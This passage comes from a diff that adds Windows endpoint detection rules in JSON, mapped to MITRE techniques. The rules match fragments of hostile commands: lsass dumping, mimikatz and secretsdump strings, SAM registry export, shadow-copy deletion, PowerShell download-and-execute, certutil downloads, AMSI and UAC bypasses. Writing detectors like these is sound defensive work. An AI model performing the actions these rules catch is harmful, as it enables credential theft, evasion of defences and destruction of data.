+ "/install"
+ ],
+ "process_name_endswith": "sdbinst.exe"
+ },
+ "mitre": [
+ "T1546.011"
+ ],
+ "name": "Application Compatibility Shim Database Installed",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-shim-database-installed"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-060",
+ "match_when": {
+ "event_id": 13,
+ "target_object_contains": "\\control\\print\\monitors\\"
+ },
+ "mitre": [
+ "T1547.010"
+ ],
+ "name": "Print Monitor DLL Installed",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-print-monitor-installed"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-061",
+ "match_when": {
+ "event_id": 13,
+ "target_object_contains": "\\windows defender\\",
+ "value_data": "1",
+ "value_name": "DisableAntiSpyware"
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "Microsoft Defender Disabled Via Registry",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-defender-disabled-via-registry"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-062",
+ "match_when": {
+ "event_id": 5001
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "Defender Real-Time Monitoring Disabled",
+ "product": "windows",
+ "service": "defender",
+ "severity": "high",
+ "slug": "win-defender-realtime-monitoring-off"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-063",
+ "match_when": {
+ "event_name": "AddPreference",
+ "exclusion_path_contains_any": [
+ "\\users\\",
+ "\\temp\\",
+ "\\appdata\\"
+ ]
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "Microsoft Defender Path Exclusion Added",
+ "product": "windows",
+ "service": "defender",
+ "severity": "medium",
+ "slug": "win-defender-exclusion-added"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-064",
+ "match_when": {
+ "event_id": 13,
+ "target_object_endswith": "\\amsi\\providers",
+ "value_data_contains_any": [
+ "\\users\\",
+ "\\temp\\"
+ ]
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "AMSI Provider DLL Loaded From User Path",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-amsi-provider-loaded"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-065",
+ "match_when": {
+ "event_id": 13,
+ "target_object_endswith": "\\autologger\\eventlog-application",
+ "value_data": "0",
+ "value_name": "Start"
+ },
+ "mitre": [
+ "T1562.006"
+ ],
+ "name": "ETW Disabled Via Registry",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-etw-tampering-via-registry"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-066",
+ "match_when": {
+ "event_id": 7036,
+ "service_name": "eventlog",
+ "service_state": "stopped"
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "Windows Event Log Service Stopped",
+ "product": "windows",
+ "service": "services",
+ "severity": "high",
+ "slug": "win-eventlog-service-stopped"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-067",
+ "match_when": {
+ "event_id": 1102,
+ "log_name": "Application"
+ },
+ "mitre": [
+ "T1070.001"
+ ],
+ "name": "Windows Application Event Log Cleared",
+ "product": "windows",
+ "service": "security",
+ "severity": "high",
+ "slug": "win-application-log-cleared"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-068",
+ "match_when": {
+ "event_id": 104,
+ "log_name": "System"
+ },
+ "mitre": [
+ "T1070.001"
+ ],
+ "name": "Windows System Event Log Cleared",
+ "product": "windows",
+ "service": "security",
+ "severity": "high",
+ "slug": "win-system-log-cleared"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-069",
+ "match_when": {
+ "event_id": 16
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "Sysmon Configuration Changed",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-sysmon-config-changed"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-070",
+ "match_when": {
+ "event_id": 1,
+ "parent_process_endswith_any": [
+ "powershell.exe",
+ "cmd.exe"
+ ],
+ "process_name_endswith": "fodhelper.exe"
+ },
+ "mitre": [
+ "T1548.002"
+ ],
+ "name": "UAC Bypass Via fodhelper.exe",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-uac-bypass-fodhelper"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-071",
+ "match_when": {
+ "child_process_endswith_any": [
+ "cmd.exe",
+ "powershell.exe",
+ "wscript.exe"
+ ],
+ "event_id": 1,
+ "process_name_endswith": "eventvwr.exe"
+ },
+ "mitre": [
+ "T1548.002"
+ ],
+ "name": "UAC Bypass Via eventvwr.exe",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-uac-bypass-eventvwr"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-072",
+ "match_when": {
+ "child_process_endswith_any": [
+ "cmd.exe",
+ "powershell.exe"
+ ],
+ "event_id": 1,
+ "process_name_endswith": "sdclt.exe"
+ },
+ "mitre": [
+ "T1548.002"
+ ],
+ "name": "UAC Bypass Via sdclt.exe",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-uac-bypass-sdclt"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-073",
+ "match_when": {
+ "event_id": 13,
+ "target_object_endswith": "\\installer\\alwaysinstallelevated",
+ "value_data": "1"
+ },
+ "mitre": [
+ "T1548.002"
+ ],
+ "name": "AlwaysInstallElevated Registry Enabled",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-always-install-elevated"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-074",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "recoveryenabled no",
+ "bootstatuspolicy ignoreallfailures"
+ ],
+ "process_name_endswith": "bcdedit.exe"
+ },
+ "mitre": [
+ "T1490"
+ ],
+ "name": "bcdedit Used To Disable Recovery",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-bcdedit-recovery-disabled"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-075",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_all": [
+ "delete",
+ "shadows"
+ ],
+ "process_name_endswith": "vssadmin.exe"
+ },
+ "mitre": [
+ "T1490"
+ ],
+ "name": "vssadmin Used To Enumerate And Delete Shadow Copies",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "critical",
+ "slug": "win-vssadmin-list-shadows-then-delete"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-076",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_all": [
+ "iex",
+ "downloadstring"
+ ],
+ "process_name_endswith": "powershell.exe"
+ },
+ "mitre": [
+ "T1059.001"
+ ],
+ "name": "PowerShell Invoke-Expression On Web Download",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-powershell-iex-from-web"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-077",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "-executionpolicy bypass",
+ "-ep bypass"
+ ],
+ "process_name_endswith": "powershell.exe"
+ },
+ "mitre": [
+ "T1059.001"
+ ],
+ "name": "PowerShell Run With ExecutionPolicy Bypass",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "medium",
+ "slug": "win-powershell-bypass-flag"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-078",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "amsiUtils",
+ "amsiInitFailed",
+ "amsiContext"
+ ]
+ },
+ "mitre": [
+ "T1562.001",
+ "T1059.001"
+ ],
+ "name": "PowerShell Command Line Contains AMSI Bypass String",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-powershell-amsi-bypass-string"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-079",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "javascript:",
+ "vbscript:",
+ "http"
+ ],
+ "process_name_endswith": "mshta.exe"
+ },
+ "mitre": [
+ "T1218.005"
+ ],
+ "name": "mshta.exe Executed Inline Script",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-mshta-running-script"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-080",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "\\temp\\",
+ "\\appdata\\local\\temp"
+ ],
+ "process_name_endswith": "rundll32.exe"
+ },
+ "mitre": [
+ "T1218.011"
+ ],
+ "name": "rundll32.exe Loaded DLL From Temp Path",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-rundll32-from-temp"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-081",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_endswith": "rundll32.exe",
+ "process_name_endswith": "rundll32.exe"
+ },
+ "mitre": [
+ "T1218.011"
+ ],
+ "name": "rundll32.exe Started Without Arguments",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "medium",
+ "slug": "win-rundll32-no-args"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-082",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_all": [
+ "scrobj.dll",
+ "/i:"
+ ],
+ "process_name_endswith": "regsvr32.exe"
+ },
+ "mitre": [
+ "T1218.010"
+ ],
+ "name": "regsvr32.exe Used With scrobj.dll (Squiblydoo)",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-regsvr32-scrobj"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-083",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_all": [
+ "/node:",
+ "process call create"
+ ],
+ "process_name_endswith": "wmic.exe"
+ },
+ "mitre": [
+ "T1047"
+ ],
+ "name": "wmic process call create Used For Remote Execution",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-wmic-process-call-create-remote"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-084",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "\\temp\\",
+ "\\downloads\\"
+ ],
+ "process_name_endswith": "cscript.exe"
+ },
+ "mitre": [
+ "T1059.005"
+ ],
+ "name": "cscript.exe Executing Script From Temp",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "medium",
+ "slug": "win-cscript-from-temp"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-085",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "/transfer",
+ "http"
+ ],
+ "process_name_endswith": "bitsadmin.exe"
+ },
+ "mitre": [
+ "T1197"
+ ],
+ "name": "bitsadmin.exe Downloading File",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "medium",
+ "slug": "win-bitsadmin-download"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-086",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "-decode",
+ "-decodehex",
+ "-urlcache -split -f"
+ ],
+ "process_name_endswith": "certutil.exe"
+ },
+ "mitre": [
+ "T1140"
+ ],
+ "name": "certutil.exe Used To Decode Encoded File",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-certutil-decode"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-087",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains": "-urlcache",
+ "process_name_endswith": "certutil.exe"
+ },
+ "mitre": [
+ "T1105"
+ ],
+ "name": "certutil.exe Used To Download Remote File",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-certutil-download-url"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-088",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "\\appdata\\",
+ "\\temp\\"
+ ],
+ "process_name_endswith": "cmstp.exe"
+ },
+ "mitre": [
+ "T1218.003"
+ ],
+ "name": "cmstp.exe Loaded INF From Suspicious Path",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-cmstp-load-untrusted-inf"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-089",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "\\temp\\",
+ "\\appdata\\"
+ ],
+ "process_name_endswith": "installutil.exe"
+ },
+ "mitre": [
+ "T1218.004"
+ ],
+ "name": "InstallUtil.exe Run From Temp Path",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-installutil-from-temp"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-090",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "\\users\\public\\",
+ "\\appdata\\"
+ ],
+ "process_name_endswith": "msbuild.exe"
+ },
+ "mitre": [
+ "T1127.001"
+ ],
+ "name": "MSBuild Running Inline Task XML From User Path",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-msbuild-running-inline-task"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-091",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "lsass",
+ "-ma lsass"
+ ],
+ "process_name_endswith": "procdump.exe"
+ },
+ "mitre": [
+ "T1003.001"
+ ],
+ "name": "ProcDump Used Against lsass.exe",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "critical",
+ "slug": "win-procdump-lsass"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-092",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_all": [
+ "comsvcs.dll",
+ "minidump"
+ ],
+ "process_name_endswith": "rundll32.exe"
+ },
+ "mitre": [
+ "T1003.001"
+ ],
+ "name": "comsvcs.dll MiniDump Of lsass",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "critical",
+ "slug": "win-comsvcs-minidump"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-093",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "sekurlsa::",
+ "lsadump::",
+ "kerberos::",
+ "crypto::"
+ ]
+ },
+ "mitre": [
+ "T1003"
+ ],
+ "name": "Mimikatz Marker String In Process Command Line",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "critical",
+ "slug": "win-mimikatz-strings-on-cli"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-094",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "ifm",
+ "create full",
+ "activate instance ntds"
+ ],
+ "process_name_endswith": "ntdsutil.exe"
+ },
+ "mitre": [
+ "T1003.003"
+ ],
+ "name": "ntdsutil.exe Used To Extract NTDS",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "critical",
+ "slug": "win-ntds-extract-ntdsutil"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-095",
+ "match_when": {
+ "creator_process_endswith_any": [
+ "copy.exe",
+ "robocopy.exe",
+ "powershell.exe"
+ ],
+ "event_id": 11,
+ "target_filename_endswith": "ntds.dit"
+ },
+ "mitre": [
+ "T1003.003"
+ ],
+ "name": "VSS Shadow Created Then NTDS.dit Copied",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "critical",
+ "slug": "win-vss-shadow-then-copy-ntds"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-096",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "secretsdump",
+ "impacket",
+ "sam.save",
+ "system.save"
+ ]
+ },
+ "mitre": [
+ "T1003"
+ ],
+ "name": "Impacket secretsdump.py Pattern Detected",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "critical",
+ "slug": "win-secretsdump-impacket"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-097",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_all": [
+ "save",
+ "hklm\\sam"
+ ],
+ "process_name_endswith": "reg.exe"
+ },
+ "mitre": [
+ "T1003.002"
+ ],
+ "name": "reg save Used Against SAM/SECURITY/SYSTEM",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "critical",
+ "slug": "win-reg-save-sam"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-098",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains": "/listcreds",
+ "process_name_endswith": "vaultcmd.exe"
+ },
+ "mitre": [
+ "T1555.004"
+ ],
+ "name": "vaultcmd.exe Listed All Stored Credentials",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-credential-manager-vault-dump"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-099",
+ "match_when": {
+ "creator_process_not_endswith_any": [
+ "lsass.exe",
+ "explorer.exe"
+ ],
+ "event_id": 11,
+ "target_filename_contains": "\\protect\\"
+ },
+ "mitre": [
+ "T1555.003"
+ ],
+ "name": "DPAPI Master Key File Read From Roaming Dir",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-dpapi-masterkey-access"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-100",
+ "match_when": {
+ "creator_process_not_endswith_any": [
+ "chrome.exe",
+ "msedge.exe",
+ "brave.exe"
+ ],
+ "event_id": 11,
+ "target_filename_endswith": "\\login data"
+ },
+ "mitre": [
+ "T1555.003"
+ ],
+ "name": "Chromium Login Data SQLite File Read",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-browser-credential-file-read"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-101",
+ "match_when": {
+ "account_is_dc": false,
+ "event_id": 4662,
+ "object_properties_contains": "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
+ },
+ "mitre": [
+ "T1003.006"
+ ],
+ "name": "DCSync Replication Right Used By Non-DC Account",
+ "product": "windows",
+ "service": "security",
+ "severity": "critical",
+ "slug": "win-dcsync-via-replication"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-102",
+ "match_when": {
+ "event_id": 4768,
+ "preauth_required": false,
+ "ticket_encryption_type": "0x17"
+ },
+ "mitre": [
+ "T1558.004"
+ ],
+ "name": "Kerberos AS-REP Roasting Pattern",
+ "product": "windows",
+ "service": "security",
+ "severity": "high",
+ "slug": "win-kerberos-asrep-roast"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-103",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "net localgroup administrators",
+ "net.exe localgroup administrators"
+ ]
+ },
+ "mitre": [
+ "T1087.001"
+ ],
+ "name": "net localgroup administrators Enumerated",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "medium",
+ "slug": "win-net-localgroup-administrators"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-104",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_all": [
+ "net",
+ "group",
+ "domain admins"
+ ]
+ },
+ "mitre": [
+ "T1087.002"
+ ],
+ "name": "net group \"Domain Admins\" Enumerated",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-net-group-domain-admins"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-105",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains": "/domain_trusts",
+ "process_name_endswith": "nltest.exe"
+ },
+ "mitre": [
+ "T1482"
+ ],
+ "name": "nltest /domain_trusts Enumerated",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "medium",
+ "slug": "win-nltest-domain-trusts"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-106",
+ "match_when": {
+ "event_id": 1,
+ "process_name_endswith": "adfind.exe"
+ },
+ "mitre": [
+ "T1087.002"
+ ],
+ "name": "AdFind.exe Enumeration Detected",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-adfind-enumeration"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-107",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "sharphound",
+ "invoke-bloodhound",
+ "bloodhound.py"
+ ]
+ },
+ "mitre": [
+ "T1087.002"
+ ],
+ "name": "SharpHound Collection Run Detected",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-bloodhound-sharphound"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-108",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains": "-a",
+ "process_name_endswith": "arp.exe"
+ },
+ "mitre": [
+ "T1018"
+ ],
+ "name": "arp -a Enumeration By Workstation",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "low",
+ "slug": "win-arp-cache-enum"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-109",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains": "print",
+ "process_name_endswith": "route.exe"
+ },
+ "mitre": [
+ "T1018"
+ ],
+ "name": "route print Run From Workstation",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "low",
+ "slug": "win-route-print"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-110",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "net view \\\\",
+ "net.exe share"
+ ]
+ },
+ "mitre": [
+ "T1135"
+ ],
+ "name": "net view Used To Enumerate File Shares",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "low",
+ "slug": "win-net-share-enum"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-111",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains": "\\\\",
+ "process_name_endswith": "psexec.exe"
+ },
+ "mitre": [
+ "T1021.002"
+ ],
+ "name": "PsExec.exe Service Created On Host",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-psexec-execution-host"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-112",
+ "match_when": {
+ "event_id": 7045,
+ "service_image_path_contains": "psexec",
+ "service_name_endswith": "psexesvc"
+ },
+ "mitre": [
+ "T1021.002"
+ ],
+ "name": "PSEXESVC Service Created (Remote PsExec)",
+ "product": "windows",
+ "service": "services",
+ "severity": "high",
+ "slug": "win-psexesvc-service-create"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-113",
+ "match_when": {
+ "event_id": 7045,
+ "service_name_contains": "paexec"
+ },
+ "mitre": [
+ "T1021.002"
+ ],
+ "name": "PAExec Service Created",
+ "product": "windows",
+ "service": "services",
+ "severity": "high",
+ "slug": "win-paexec-service-create"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-114",
+ "match_when": {
+ "destination_role": "domain-controller",
+ "event_id": 1,
+ "process_command_line_contains": "enter-pssession"
+ },
+ "mitre": [
+ "T1021.006"
+ ],
+ "name": "WinRM Shell From Workstation To DC",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-winrm-shell-from-workstation"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-115",
+ "match_when": {
+ "create_remote_thread_target_process_endswith_any": [
+ "explorer.exe",
+ "svchost.exe",
+ "lsass.exe"
+ ],
+ "event_id": 8
+ },
+ "mitre": [
+ "T1055.012"
+ ],
+ "name": "Process Hollowing Marker (CreateProcess Suspended + Unmapped)",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-process-hollowing-marker"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-116",
+ "match_when": {
+ "event_id": 8,
+ "target_image_endswith": "lsass.exe"
+ },
+ "mitre": [
+ "T1055.001"
+ ],
+ "name": "CreateRemoteThread Targeting lsass.exe",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "critical",
+ "slug": "win-create-remote-thread-lsass"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-117",
+ "match_when": {
+ "event_id": 8,
+ "source_image_path_contains_any": [
+ "\\temp\\",
+ "\\appdata\\"
+ ],
+ "target_image_endswith": "explorer.exe"
+ },
+ "mitre": [
+ "T1055"
+ ],
+ "name": "Suspicious CreateRemoteThread Into explorer.exe",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-suspicious-thread-into-explorer"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-118",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains": "/w",
+ "process_name_endswith": "cipher.exe"
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "cipher.exe /w Used (Secure Delete)",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "medium",
+ "slug": "win-cipher-w-secure-delete"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-119",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "/q",
+ "/p:0"
+ ],
+ "process_name_endswith": "format.com"
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "format Command Used Against Drive",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "critical",
+ "slug": "win-format-com-quick"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-120",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_all": [
+ "/deny",
+ "everyone"
+ ],
+ "process_name_endswith": "icacls.exe"
+ },
+ "mitre": [
+ "T1222.001"
+ ],
+ "name": "icacls Used To Deny Access On System Path",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-icacls-deny-readonly"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-121",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "c:\\windows\\",
+ "system32"
+ ],
+ "process_name_endswith": "takeown.exe"
+ },
+ "mitre": [
+ "T1222.001"
+ ],
+ "name": "takeown.exe Used Against System Path",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "medium",
+ "slug": "win-takeown-system-path"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-122",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_any": [
+ "shell32.dll,control_rundll",
+ "shell32.dll, control_rundll"
+ ],
+ "process_name_endswith": "rundll32.exe"
+ },
+ "mitre": [
+ "T1218.011"
+ ],
+ "name": "rundll32.exe shell32 Control_RunDLL Used Suspiciously",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "medium",
+ "slug": "win-rundll32-shell32-controlrunDLL"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-123",
+ "match_when": {
+ "event_id": 11,
+ "target_filename_endswith_any": [
+ ".locked",
+ ".enc",
+ ".crypt",
+ ".lockbit",
+ ".conti",
+ ".royal"
+ ]
+ },
+ "mitre": [
+ "T1486"
+ ],
+ "name": "Burst Of File Extension Renames To Common Ransom Markers",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "critical",
+ "slug": "win-ransomware-ext-rename-burst"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-124",
+ "match_when": {
+ "event_id": 1,
+ "process_command_line_contains_all": [
+ "shadowcopy",
+ "delete"
+ ],
+ "process_name_endswith": "wmic.exe"
+ },
+ "mitre": [
+ "T1490"
+ ],
+ "name": "Mass Shadow Copy Deletion Via WMI",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "critical",
+ "slug": "win-shadow-copy-mass-delete"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-125",
+ "match_when": {
+ "event_id": 1,
+ "parent_process_endswith_any": [
+ "winword.exe",
+ "excel.exe",
+ "powerpnt.exe"
+ ],
+ "process_name_endswith": "mshta.exe"
+ },
+ "mitre": [
+ "T1218.005"
+ ],
+ "name": "Office Application Spawned mshta.exe",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-office-spawn-mshta"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-126",
+ "match_when": {
+ "event_id": 1,
+ "parent_process_endswith_any": [
+ "winword.exe",
+ "excel.exe",
+ "powerpnt.exe"
+ ],
+ "process_name_endswith": "rundll32.exe"
+ },
+ "mitre": [
+ "T1218.011"
+ ],
+ "name": "Office Application Spawned rundll32.exe",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-office-spawn-rundll32"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-127",
+ "match_when": {
+ "event_id": 1,
+ "parent_process_endswith": "onenote.exe",
+ "process_name_endswith_any": [
+ "cmd.exe",
+ "powershell.exe",
+ "wscript.exe"
+ ]
+ },
+ "mitre": [
+ "T1204.002"
+ ],
+ "name": "OneNote Spawned cmd.exe",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-onenote-spawn-cmd"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-128",
+ "match_when": {
+ "event_id": 1,
+ "parent_process_endswith_any": [
+ "acrord32.exe",
+ "acrobat.exe",
+ "foxitreader.exe"
+ ],
+ "process_name_endswith_any": [
+ "cmd.exe",
+ "powershell.exe"
+ ]
+ },
+ "mitre": [
+ "T1204.002"
+ ],
+ "name": "PDF Reader Spawned Shell",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "high",
+ "slug": "win-pdfreader-spawn-shell"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-129",
+ "match_when": {
+ "event_id": 11,
+ "target_filename_contains_any": [
+ "\\temp\\",
